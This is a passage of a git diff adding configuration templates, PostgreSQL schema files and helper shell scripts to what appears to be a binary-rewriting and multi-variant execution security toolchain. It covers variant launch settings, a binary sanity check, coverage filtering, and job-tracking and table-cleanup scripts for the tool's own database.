+        "post_checkpoint_command" : "/target_apps/marshaling/heap_dump.sh "
diff --git a/peasoup_examples/tools/cfar_configs/strata_all.json.template b/peasoup_examples/tools/cfar_configs/strata_all.json.template
new file mode 100644
index 0000000000000000000000000000000000000000..51753e050d35d2edfeab1db56004c1dcb954cdf0
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/strata_all.json.template
@@ -0,0 +1,42 @@
+{
+    "atd" : {
+        "name" : "config generated from template strata_all.json.template ",
+        "server" : "<<SERVER>>",
+        "class" : "<<CLASS>>",
+        "description" : "n/a"
+        "performer" : "UVA-DoubleHelix"
+        "family" : "DynamicBinaryRewriting"
+    },
+
+	<<MONITOR>>
+
+    "variant" : {
+        "global" : {
+            "exec" : {
+                "path" : "/sbin/thttpd",
+                "argv" : [ <<ARGS>> ],
+		"env" : [
+			"TRATA_LOG=detectors,builder_enters",
+			"STRATA_TRACING=0",
+			"LD_LIBRARY_PATH=/target_apps/variant1/bin/peasoup_executable_dir/shared_objects",
+			<<ENV>>
+		]
+            },
+            "settings" : {
+                "COMMENT" : "We are disabling NR_rt_sigprocmask(14), __NR_getpid(39), gettimeofday(96),__NR_gettid(186)",
+                "disable_syscall_xcheck" : "14,39,96,186,3",
+                "aslr_mode" : 1
+            }
+        },
+        "specs" : {
+                <<VARIANT_CONFIG>>
+        },
+        "sets" : {
+            "default" : [
+                <<VARIANT_LIST>>
+                ]
+        }
+
+    }
+}
+
diff --git a/peasoup_examples/tools/cfar_configs/strata_variant.json.template b/peasoup_examples/tools/cfar_configs/strata_variant.json.template
new file mode 100644
index 0000000000000000000000000000000000000000..7fc7944140c93ba7f88b6bd2ee51d5550930e4a0
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/strata_variant.json.template
@@ -0,0 +1,60 @@
+            "<<VARIANTNUM>>" : {
+                "exec" : {
+                        "env" : [
+                        "PEASOUP_SCHEDULE_PERTURB=0",
+                        "STRATA_WATCHDOG=0",
+                        "STRATA_NUM_HANDLE=0",
+                        "STRATA_DOUBLE_FREE=0",
+                        "STRATA_HEAPRAND=0",
+                        "STRATA_SHADOW_STACK=0",
+                        "STRATA_CONTROLLED_EXIT=0",
+                        "STRATA_DETECT_SERVERS=0",
+                        "STRATA_PC_CONFINE=1",
+                        "STRATA_PC_CONFINE_XOR=0",
+                        "STRATA_REKEY_AFTER=0",
+                        "STRATA_PC_CONFINE_XOR_KEY_LENGTH=1024",
+                        "STRATA_IS_SO=0",
+                        "STRATA_MAX_WARNINGS=500000",
+                        "STRATA_SPRI_FILE=/variant_specific/a.irdb.fbspri",
+                        "STRATA_ANNOT_FILE=/variant_specific/a.ncexe.annot",
+                        "STRATA_OUTPUT_FILE=/variant_specific/diagnostics.out",
+                        "STRATA_EXE_FILE=/variant_specific/a.stratafied",
+                        "SPAWNER_EXE_FILE=/variant_specific/spawned"
+                        ,<<ENV>>
+
+                        ],
+                    "alias" : [
+                        "/dev/zero=/dev/zero",
+                        "/dev/cfar_urandom=/dev/urandom",
+                        "/proc/self/maps=/proc/self/maps",
+                        "/variant_specific/libheaprand.so=<<EXEPATH>>/<<PS_DIR>>/libheaprand.so",
+                        "/variant_specific/noh.so=<<EXEPATH>>/<<PS_DIR>>/noh.so",
+                        "/sbin/thttpd=<<EXEPATH>>/<<PS_DIR>>/a.stratafied",
+                        "/usr/lib/libstrata.so=<<EXEPATH>>/<<PS_DIR>>/libstrata.so",
+                        "<<EXEPATH>>/<<PS_DIR>>/libstrata.so=<<EXEPATH>>/<<PS_DIR>>/libstrata.so",
+                        "<<EXEPATH>>/<<PS_DIR>>/libheaprand.so=<<EXEPATH>>/<<PS_DIR>>/libheaprand.so",
+                        "<<EXEPATH>>/<<PS_DIR>>/noh.so=<<EXEPATH>>/<<PS_DIR>>/noh.so",
+                        "/variant_specific/a.irdb.fbspri=<<EXEPATH>>/<<PS_DIR>>/a.irdb.fbspri",
+                        "/variant_specific/a.ncexe.annot=<<EXEPATH>>/<<PS_DIR>>/a.ncexe.annot",
+                        "/variant_specific/diagnostics.out=<<EXEPATH>>/<<PS_DIR>>/diagnostics.out",
+                        "/variant_specific/a.stratafied=<<EXEPATH>>/<<PS_DIR>>/a.stratafied",
+                        "<<EXEPATH>>/<<PS_DIR>>/a.stratafied=<<EXEPATH>>/<<PS_DIR>>/a.stratafied",
+                        "/variant_specific/spawned=<<EXEPATH>>/<<PS_DIR>>/spawned",
+                        "/etc/ld.so.cache=/etc/ld.so.cache",
+			"/lib/x86_64-linux-gnu/libcrypt.so.1=/lib/x86_64-linux-gnu/libcrypt.so.1",
+			"/lib/x86_64-linux-gnu/libc.so.6=/lib/x86_64-linux-gnu/libc.so.6",
+			"/lib/x86_64-linux-gnu/ld-2.19.so=/lib/x86_64-linux-gnu/ld-2.19.so",
+			"/lib/x86_64-linux-gnu/libc-2.19.so=/lib/x86_64-linux-gnu/libc-2.19.so",
+			"/lib/x86_64-linux-gnu/libcrypt-2.19.so=/lib/x86_64-linux-gnu/libcrypt-2.19.so",
+			"/lib/x86_64-linux-gnu/libnss_nis.so.2=/lib/x86_64-linux-gnu/libnss_nis.so.2",
+			"/lib/x86_64-linux-gnu/libpcre.so.3=/lib/x86_64-linux-gnu/libpcre.so.3",
+			"/lib/x86_64-linux-gnu/libpcre.so.3.13.1=/lib/x86_64-linux-gnu/libpcre.so.3.13.1",
+			"/lib/x86_64-linux-gnu/libpthread.so.0=/lib/x86_64-linux-gnu/libpthread.so.0",
+			"/lib/x86_64-linux-gnu/libpthread-2.19.so=/lib/x86_64-linux-gnu/libpthread-2.19.so",
+			"/variant_specific/nolnoh_config=<<VARIANTDIR>>/nolnoh_config",<<LDLIB>>
+                        ]
+                }
+            }
+
+
+
diff --git a/peasoup_examples/tools/cfar_configs/zipr_all.json.template b/peasoup_examples/tools/cfar_configs/zipr_all.json.template
new file mode 100644
index 0000000000000000000000000000000000000000..3c3f43235da83d3aac0498bfa3b20bb37e809983
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/zipr_all.json.template
@@ -0,0 +1,47 @@
+{
+    "atd" : {
+        "name" : "auto-generated .json file from zipr-based variants template",
+	"server" : "<<SERVER>>",
+	<<CLASS>>,
+        "description" : "autogenerated zipr variants",
+        "performer" : "UVA-DoubleHelix",
+        "family" : "StaticBinaryRewriting"
+
+    },
+    <<CR>>
+    <<MONITOR>>
+    "variant" : {
+        "global" : {
+            "exec" : {
+                "path" : "<<MAINEXE>>",
+                "argv" : [ <<ARGS>> ], 
+                "env" : [
+			"LD_LIBRARY_PATH=/usr/lib",<<ENV>>
+			]
+
+	
+            },
+            "marshaling":{
+                "class_path" : "/target_apps/marshaling/dh_plugins.jar",
+                "class_name" : "DoubleHelix",
+                "process_map" : "process_map.json",
+		"launcher" : "/emt/emt.bash"
+            },
+            "settings": {
+                "aslr_mode": 2,
+                "mmap_prime_offset": 10,
+                "non_overlapping_mmaps": 4
+            }
+        },
+        "specs" : {
+		<<VARIANT_CONFIG>>
+        },
+        "sets" : {
+            "default" : [
+		<<VARIANT_LIST>>
+		],<<VARIANT_SETS>>
+        }
+    }
+}
+
+
diff --git a/peasoup_examples/tools/cfar_configs/zipr_variant.json.template b/peasoup_examples/tools/cfar_configs/zipr_variant.json.template
new file mode 100644
index 0000000000000000000000000000000000000000..0d47c238e18e53ec7b780646b2e7d0179a0ae6fa
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/zipr_variant.json.template
@@ -0,0 +1,27 @@
+            "<<VARIANTNUM>>" : {
+                "exec" : {
+                    "alias" : [
+			"/work_dir/images/=/work_dir/images/",
+                        "<<MAINEXE>>=<<EXEPATH>>/<<EXE_NAME>>",
+                        "/variant_specific/heap_map=<<EXEPATH>>/<<PS_DIR>>/heap.map",
+			"/dev/cfar_urandom=/dev/urandom",
+                        "/etc/ld.so.cache=/etc/ld.so.cache",
+			"/variant_specific/libheaprand.so=<<EXEPATH>>/<<PS_DIR>>/libheaprand.so",
+			"/variant_specific/noh.so=<<EXEPATH>>/<<PS_DIR>>/noh.so",
+			"/variant_specific/nolnoh_config=<<VARIANTDIR>>/nolnoh_config",<<LIBS>>
+                        ],
+                    "env" : [
+                        <<ENV>>
+			]
+                },
+                "marshaling" : {
+		     "code_map" :  { <<CODE_MAP>> } , 
+		     "scoop_map" :  { <<SCOOP_MAP>> } , 
+		     "p1_map" :  { <<P1_MAP>> } , 
+                     "heap_map" : "<<EXEPATH>>/<<PS_DIR>>/heap.map",
+		     "initial_dump_dir" : "<<EXEPATH>>/initial_dump_dir"
+	
+                }
+            }
+
+
diff --git a/peasoup_examples/tools/cgc_sanity_check.sh b/peasoup_examples/tools/cgc_sanity_check.sh
new file mode 100755
index 0000000000000000000000000000000000000000..08490eb2ad5e6bcd61ea2d62263c0ef9ca947e25
--- /dev/null
+++ b/peasoup_examples/tools/cgc_sanity_check.sh
@@ -0,0 +1,53 @@
+#!/bin/bash
+
+ORIGINAL_CB=$1
+REPLACEMENT_CB=$2
+
+INPUT=test
+
+BASE_OUTPUT=$(echo $INPUT | timeout 5s $1)
+BASE_RESULT=$?
+RCB_OUTPUT=$(echo $INPUT | timeout 5s $2)
+RCB_RESULT=$?
+BASE_OUTPUT2=$(echo $INPUT | timeout 5s $1)
+BASE_RESULT2=$?
+
+if [ $BASE_RESULT -gt 128 ] && [ $BASE_RESULT -lt 200 ]; then
+	BASE_CRASHED=1
+else
+	BASE_CRASHED=0
+fi
+
+if [ $BASE_RESULT2 -gt 128 ] && [ $BASE_RESULT2 -lt 200 ]; then
+	BASE_CRASHED2=1
+else
+	BASE_CRASHED2=0
+fi
+
+if [ $RCB_RESULT -gt 128 ] && [ $RCB_RESULT -lt 200 ]; then
+	RCB_CRASHED=1
+else
+	RCB_CRASHED=0
+fi
+
+echo "First base cb run:" $BASE_RESULT
+echo "Second base cb run:" $BASE_RESULT2
+echo "Replacement cb run:" $RCB_RESULT
+echo $BASE_CRASHED
+echo $BASE_CRASHED2
+echo $RCB_CRASHED
+
+if [ $BASE_RESULT -eq $BASE_RESULT2 ]; then
+	if [ $BASE_RESULT -ne $RCB_RESULT ]; then
+		exit 1
+	fi
+fi
+if [ "$BASE_OUTPUT" == "$BASE_OUTPUT2" ]; then
+	if [ "$BASE_OUTPUT" != "$RCB_OUTPUT" ]; then
+		exit 1
+	fi
+fi
+if [ $RCB_CRASHED -ne 0 ] && [ $BASE_CRASHED -eq 0 ] && [ $BASE_CRASHED2 -eq 0 ]; then
+	exit 1
+fi
+exit 0
diff --git a/peasoup_examples/tools/cinderella.spec b/peasoup_examples/tools/cinderella.spec
new file mode 100644
index 0000000000000000000000000000000000000000..a7e7fd6ce3a7a0bc75fc47fb4ee027c360d0c410
--- /dev/null
+++ b/peasoup_examples/tools/cinderella.spec
@@ -0,0 +1,21 @@
+# denotes a comment
+#
+# - malloc must be present in this file
+# - only look for malloc at the present moment
+malloc
+#memcpy
+#memset
+#strdup
+#strlen
+#strndup
+#strlcpy
+#strlcat
+#strncat
+#strcmp
+#strncmp
+#strchr
+#strrchr
+#strtok
+#strspn
+#strcspn
+#memchr
diff --git a/peasoup_examples/tools/cover.sh b/peasoup_examples/tools/cover.sh
new file mode 100755
index 0000000000000000000000000000000000000000..757d1eaad3c016632b3bd27bf4233476bce6a822
--- /dev/null
+++ b/peasoup_examples/tools/cover.sh
@@ -0,0 +1,59 @@
+#!/bin/sh
+#
+# ./cover.sh <original_binary> <MEDS annotation_file> <executed_addresses_file> <filter_file> <output_coverage_file> <output_blacklist_file>
+#
+
+# inputs
+ORIGINAL_BINARY=$1              # a.ncexe
+ANNOTATION_FILE=$2              # a.ncexe.annot
+EXECUTED_ADDRESS_FILE=$3        # list of executed addresses (e.g. Grace or manual)
+FILTER_FILE=$4                  # list of known functions to blacklist, e.g. libc
+# outputs
+OUTPUT_COVERAGE_FILE=$5         # output file with coverage info per function
+OUTPUT_BLACKLIST_FILE=$6        # output file with list of functions to blacklist
+# other
+
+CANDIDATE_FNS_PRE_LIBC=`dirname $6`/p1.candidates.prelibc
+
+
+$SECURITY_TRANSFORMS_HOME/bin/cover $ORIGINAL_BINARY $ANNOTATION_FILE $EXECUTED_ADDRESS_FILE $OUTPUT_COVERAGE_FILE
+status=$?
+cp $FILTER_FILE $OUTPUT_BLACKLIST_FILE
+cat $OUTPUT_COVERAGE_FILE | cut -f1 -d" " > $CANDIDATE_FNS_PRE_LIBC
+
+if [ ! $status -eq 0 ]; then
+#	cp $FILTER_FILE $OUTPUT_BLACKLIST_FILE
+	return 1
+fi
+
+return 0
+
+#below is a relic from when PN could not take ina  coverage file, it is left here
+#as it is uncertain as to whether we do want to filter functions at this level
+#in this scenario yet.
+
+#
+# Prune out functions that do not have sufficient coverage
+# Any function whose coverage metric starts with 0.0, e.g. 0.09, 0.0123, is pruned out
+# We effectively prune out any functions whose coverage is not at least 10% 
+#
+# Yes, this is a hack... but it will do for now until we get a more sophisticated definition of coverage
+#
+
+#if [ ! -f $OUTPUT_COVERAGE_FILE ]; then
+#	cp $FILTER_FILE $OUTPUT_BLACKLIST_FILE
+#	return 1
+#fi
+
+#cat $OUTPUT_COVERAGE_FILE | cut -f1 -d" ">$CANDIDATE_FNS_PRE_LIBC
+#grep -v "0\.000" $OUTPUT_COVERAGE_FILE | cut -f1 -d" " > $CANDIDATE_FNS_PRE_LIBC
+#grep  "0\.000" $OUTPUT_COVERAGE_FILE | cut -f1 -d" " > $OUTPUT_BLACKLIST_FILE
+
+# Filter out functions that:
+#   1. are not sufficiently covered
+#   2. are libc function
+#cat $FILTER_FILE >> $OUTPUT_BLACKLIST_FILE
+#sort $OUTPUT_BLACKLIST_FILE | uniq > tmp.$$
+#mv tmp.$$ $OUTPUT_BLACKLIST_FILE
+
+#return 0
diff --git a/peasoup_examples/tools/db/drop_my_tables.sh b/peasoup_examples/tools/db/drop_my_tables.sh
new file mode 100755
index 0000000000000000000000000000000000000000..00e0c31dfd3bb13e0ce9f2926c26bf64d70a53d9
--- /dev/null
+++ b/peasoup_examples/tools/db/drop_my_tables.sh
@@ -0,0 +1,68 @@
+#!/bin/bash
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+
+
+
+elfoids=`psql -t -q -c "select elfoid from file_info"|sort|uniq`
+
+for  i in $elfoids
+do
+	psql -t -q -c "\lo_unlink $i"
+done
+
+
+functables=`psql -t -q -c "select function_table_name from file_info"`
+scooptables=`psql -t -q -c "select function_table_name from file_info"`
+insntables=`psql -t -q -c "select instruction_table_name from file_info"`
+icfstables=`psql -t -q -c "select icfs_table_name from file_info"`
+icfsmaptables=`psql -t -q -c "select icfs_map_table_name from file_info"`
+addrtables=`psql -t -q -c "select address_table_name from file_info"`
+relocstables=`psql -t -q -c "select relocs_table_name from file_info"`
+typestables=`psql -t -q -c "select types_table_name from file_info"`
+grace_inpttables=`psql -t -q -c "select tablename from pg_tables where tablename like '%_input';"`
+grace_covgtables=`psql -t -q -c "select tablename from pg_tables where tablename like '%_coverage';"`
+othertables="variant_dependency variant_info file_info doip"
+
+droptabs=""
+dropcnt=0
+
+for  i in $insntables $icfstables $icfsmaptables $addrtables $functables $relocstables $typestables $grace_inpttables $grace_covgtables $othertables $scooptables
+do
+
+	echo Dropping table $i..." "
+	droptabs="$droptabs drop table $i cascade;"
+	dropcnt=`expr $dropcnt + 1`
+	if [ $dropcnt -gt 1000 ]; then
+		echo --------------------------------------------------------------------------
+		echo issuing command
+		psql -t -q -c "$droptabs" || true
+		echo Done.
+		echo --------------------------------------------------------------------------
+		dropcnt=0
+		droptabs=""
+	fi
+done
+echo dropping bonus tabs
+psql -t -q -c "$droptabs" || true
+
+psql -f $PEASOUP_HOME/tools/db/job.drop.tbl
+
+echo dropping types
+psql -t -q -c "DROP TYPE icfs_analysis_result cascade;"
diff --git a/peasoup_examples/tools/db/job.create.tbl b/peasoup_examples/tools/db/job.create.tbl
new file mode 100644
index 0000000000000000000000000000000000000000..97bca29e62d5ea64aaf28faefa4888242bf53279
--- /dev/null
+++ b/peasoup_examples/tools/db/job.create.tbl
@@ -0,0 +1,23 @@
+CREATE TABLE job_spec
+(
+	job_id		text PRIMARY KEY,
+	job_name	text,
+	variant_id	integer DEFAULT -1,
+	submitted_ts	timestamp,
+	start_ts	timestamp,
+	stop_ts		timestamp,
+	configuration	text,
+	status		text,
+	installer	text
+);
+
+CREATE TABLE job_status
+(
+	job_id		text,
+	step		text,
+	step_num	integer DEFAULT -1,
+	log		text,
+	start_ts	timestamp,
+	stop_ts		timestamp,
+	status		text
+);
diff --git a/peasoup_examples/tools/db/job.drop.tbl b/peasoup_examples/tools/db/job.drop.tbl
new file mode 100644
index 0000000000000000000000000000000000000000..e2c7e0320a90faa5dd0a445b1b5f888fbe6cdace
--- /dev/null
+++ b/peasoup_examples/tools/db/job.drop.tbl
@@ -0,0 +1,2 @@
+DROP TABLE job_spec;
+DROP TABLE job_status;
diff --git a/peasoup_examples/tools/db/job_spec_register.sh b/peasoup_examples/tools/db/job_spec_register.sh
new file mode 100755
index 0000000000000000000000000000000000000000..8eb40105b2af39ce47b2e5c378247cd68c9ebe57
--- /dev/null
+++ b/peasoup_examples/tools/db/job_spec_register.sh
@@ -0,0 +1,38 @@
+#!/bin/sh -x
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+# This software was developed with SBIR funding and is subject to SBIR Data Rights, 
+# as detailed below.
+#
+# SBIR DATA RIGHTS
+#
+# Contract No. __N00014-14-C-0197___W31P4Q-14-C-0086________.
+# Contractor Name __Zephyr Software LLC_____________________.
+# Address __2040 Tremont Road, Charlottesville, VA 22911____.
+# Expiration of SBIR Data Rights Period __16-JUNE-2021______.
+#
+
+
+JOB_ID=$1
+NAME=$2
+VARIANT_ID=$3
+STATUS=$4
+SUBMITTED_TS=$5
+
+psql -q -t -c "INSERT INTO job_spec (job_id, job_name, variant_id, status, submitted_ts) VALUES ('$JOB_ID', '$NAME', '$VARIANT_ID', '$STATUS', '$SUBMITTED_TS')"
diff --git a/peasoup_examples/tools/db/job_spec_update.sh b/peasoup_examples/tools/db/job_spec_update.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f5041a983ab3e8614419c467ad95410d8be46d77
--- /dev/null
+++ b/peasoup_examples/tools/db/job_spec_update.sh
@@ -0,0 +1,43 @@
+#!/bin/bash
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+#
+# This software was developed with SBIR funding and is subject to SBIR Data Rights, 
+# as detailed below.
+#
+# SBIR DATA RIGHTS
+#
+# Contract No. __N00014-14-C-0197___W31P4Q-14-C-0086________.
+# Contractor Name __Zephyr Software LLC_____________________.
+# Address __2040 Tremont Road, Charlottesville, VA 22911____.
+# Expiration of SBIR Data Rights Period __16-JUNE-2021______.
+#
+
+
+JOB_ID=$1
+STATUS=$2
+TIMESTAMP=$3
+
+if [ $STATUS = 'pending' ]; then
+	psql -q -t -c "UPDATE job_spec SET status='$STATUS', start_ts='$TIMESTAMP' WHERE job_id='$JOB_ID'"
+elif [ $STATUS = 'error' ]; then
+	psql -q -t -c "UPDATE job_spec SET status='$STATUS', stop_ts='$TIMESTAMP' WHERE job_id='$JOB_ID'"
+else
+	psql -q -t -c "UPDATE job_spec SET status='$STATUS', stop_ts='$TIMESTAMP' WHERE job_id='$JOB_ID'"
+fi
diff --git a/peasoup_examples/tools/db/job_spec_update_installer.sh b/peasoup_examples/tools/db/job_spec_update_installer.sh
new file mode 100755
index 0000000000000000000000000000000000000000..44ed0be1559e41a80558ddf2affb1aee1328b961
--- /dev/null
+++ b/peasoup_examples/tools/db/job_spec_update_installer.sh
@@ -0,0 +1,36 @@
+#!/bin/bash
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+#
+# This software was developed with SBIR funding and is subject to SBIR Data Rights, 
+# as detailed below.
+#
+# SBIR DATA RIGHTS
+#
+# Contract No. __N00014-14-C-0197___W31P4Q-14-C-0086________.
+# Contractor Name __Zephyr Software LLC_____________________.
+# Address __2040 Tremont Road, Charlottesville, VA 22911____.
+# Expiration of SBIR Data Rights Period __16-JUNE-2021______.
+#
+
+
+JOB_ID=$1
+INSTALLER=$2
+
+psql -q -t -c "UPDATE job_spec SET installer='$INSTALLER' WHERE job_id='$JOB_ID'"
diff --git a/peasoup_examples/tools/db/job_status_report.sh b/peasoup_examples/tools/db/job_status_report.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b1ae7568a5e8f46a82367cedfacffad2c51c2ac0
--- /dev/null
+++ b/peasoup_examples/tools/db/job_status_report.sh
@@ -0,0 +1,95 @@
+#!/bin/bash
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+# This software was developed with SBIR funding and is subject to SBIR Data Rights, 
+# as detailed below.
+#
+# SBIR DATA RIGHTS
+#
+# Contract No. __N00014-14-C-0197___W31P4Q-14-C-0086________.
+# Contractor Name __Zephyr Software LLC_____________________.
+# Address __2040 Tremont Road, Charlottesville, VA 22911____.
+# Expiration of SBIR Data Rights Period __16-JUNE-2021______.
+#
+
+
+JOB_ID=$1
+STEP=$2
+STEP_NUM=$3
+STATE=$4
+TIMESTAMP=$5
+STATUS=$6
+LOGFILE=$7
+
+#####################################################
+
+usage()
+{
+  echo "report_job_status <job_id> <step_name> <step_num> [ started | completed ] <timestamp> <status> <logFile>"
+}
+
+log_error()
+{
+  echo "report_job_status: ERROR: $1"
+  exit -1
+}
+
+log_message()
+{
+  echo "report_job_status: MESSAGE: $1"
+}
+
+#####################################################
+
+if [ -z $JOB_ID ]; then
+  usage
+fi
+
+if [ -z $STEP ]; then
+  usage
+fi
+
+if [ -z $STEP_NUM ]; then
+  usage
+fi
+
+if [ -z $TIMESTAMP ]; then
+  usage
+fi
+
+if [ -z $STATUS ]; then
+  usage
+fi
+
+if [ $STATE = "started" ]; then
+	psql -q -t -c "INSERT INTO job_status (job_id, step, step_num, status, start_ts) VALUES ('$JOB_ID', '$STEP', '$STEP_NUM', '$STATUS', '$TIMESTAMP')"
+else
+	if [ -z $LOGFILE ]; then
+		psql -q -t -c "UPDATE job_status SET status='$STATUS', stop_ts='$TIMESTAMP' WHERE job_id = '$JOB_ID' AND step='$STEP'"
+	else
+		attributes=$(grep ATTRIBUTE $LOGFILE | cut -d' ' -f3-)
+		psql -q -t -c "UPDATE job_status SET status='$STATUS', stop_ts='$TIMESTAMP', log='$attributes' WHERE job_id = '$JOB_ID' AND step='$STEP'"
+	fi
+fi
+
+if [ ! $? -eq 0 ]; then
+  log_error "Failed to register job status"
+fi
+
+exit 0
diff --git a/peasoup_examples/tools/db/pdb.create.tbl b/peasoup_examples/tools/db/pdb.create.tbl
new file mode 100644
index 0000000000000000000000000000000000000000..b86db7ae55bf704e3321c9cfe8a111134f129d99
--- /dev/null
+++ b/peasoup_examples/tools/db/pdb.create.tbl
@@ -0,0 +1,49 @@
+CREATE TABLE doip
+(
+	doip_id 	SERIAL PRIMARY KEY,
+	confidence 	integer,  
+	tool_name	text,
+	comment		text
+);
+
+
+CREATE TABLE variant_info
+(
+  schema_version_id     integer DEFAULT 1,
+  variant_id            SERIAL PRIMARY KEY,       
+  name                  text    NOT NULL CHECK (name <> ''),
+  orig_variant_id  		integer DEFAULT -1,
+  doip_id               integer DEFAULT -1
+
+);
+
+CREATE TABLE file_info
+(
+  file_id                 SERIAL PRIMARY KEY,
+  orig_file_id            integer DEFAULT -1,
+  url                     text NOT NULL CHECK (url <> ''),
+  hash                    text,
+  arch                    text,
+  type                    text DEFAULT 'ELF-Static',
+  elfoid                  OID,
+  address_table_name      text,
+  function_table_name     text,
+  instruction_table_name  text,
+  icfs_table_name         text,
+  icfs_map_table_name     text,
+  relocs_table_name       text,
+  types_table_name        text,
+  scoop_table_name        text,
+  ehpgm_table_name        text,
+  ehcss_table_name        text,
+  doip_id                 integer DEFAULT -1
+);
+
+CREATE TABLE variant_dependency
+(
+  variant_id       integer REFERENCES variant_info,
+  file_id          integer REFERENCES file_info,
+  doip_id          integer DEFAULT -1
+);
+
+CREATE TYPE icfs_analysis_result AS ENUM ('icfs_analysis_incomplete', 'icfs_analysis_module_complete', 'icfs_analysis_complete');
diff --git a/peasoup_examples/tools/db/pdb.createprogram.tbl b/peasoup_examples/tools/db/pdb.createprogram.tbl
new file mode 100644
index 0000000000000000000000000000000000000000..1918b3e1d672ba1c8cb9b03152753a531035cfb5
--- /dev/null
+++ b/peasoup_examples/tools/db/pdb.createprogram.tbl
@@ -0,0 +1,125 @@
+-- 
+-- 
+--  WARNING!  If you edit these tables, you must also edit the API in $SECURITY_TRANSFORMS_HOME/libIRDB/src/variantid.cpp
+-- 
+-- 
+
+CREATE TABLE #ATN#
+(
+  address_id         SERIAL PRIMARY KEY,		-- key
+  file_id            integer REFERENCES file_info,	-- which file this address is part of
+  vaddress_offset    bigint,				-- the offset into the file
+  doip_id            integer DEFAULT -1 		-- the DOIP
+);
+
+CREATE TABLE #FTN#
+(
+  function_id        		SERIAL PRIMARY KEY,	-- key
+  entry_point_id     		integer, 		-- id of the address that is the entry point of this function. 
+  name               		text,			-- name of this function
+  stack_frame_size   		integer,		-- believed stack frame size
+  out_args_region_size		integer,		-- believed out arg size
+  use_frame_pointer	    	boolean,		-- believed whether this function uses the FP
+  is_safe					boolean DEFAULT FALSE,		-- believed whether this function is safe
+  type_id               	integer DEFAULT -1, 	-- id for the type that describes the function prototype
+  doip_id	          	integer DEFAULT -1 	-- the DOIP
+);
+
+CREATE TABLE #TYP#
+(
+  type_id            integer,     
+  type               integer DEFAULT 0,    -- possible types (0: UNKNOWN)
+  name               text DEFAULT '',      -- string representation of the type
+  ref_type_id        integer DEFAULT -1,   -- for aggregate types
+  pos                integer DEFAULT -1,   -- for aggregate types, position in aggregate
+  ref_type_id2       integer DEFAULT -1,   -- for func types
+  doip_id            integer DEFAULT -1   -- the DOIP
+);
+
+CREATE TABLE #DTN#
+(
+  scoop_id     	     SERIAL PRIMARY KEY,	-- key
+  name               text DEFAULT '',    	-- string representation of the type
+  type_id            integer,     		-- the type of the data, as an index into the table table.
+  start_address_id   integer, 			-- address id for start.
+  end_address_id     integer,			-- address id for end
+  permissions        integer,     		-- in umask format (bitmask for rwx)
+  relro	     	     bit, 			-- is this scoop a relro scoop (i.e., is r/w until relocs are done).
+  data               bytea			-- the actual bytes of the scoop 
+);
+
+CREATE TABLE #DTN#_part2
+(
+  scoop_id     	     SERIAL PRIMARY KEY,	-- key
+  name               text DEFAULT '',    	-- string representation of the type
+  type_id            integer,     		-- the type of the data, as an index into the table table.
+  start_address_id   integer, 			-- address id for start.
+  end_address_id     integer,			-- address id for end
+  permissions        integer,     		-- in umask format (bitmask for rwx)
+  relro	     	     bit, 			-- is this scoop a relro scoop (i.e., is r/w until relocs are done).
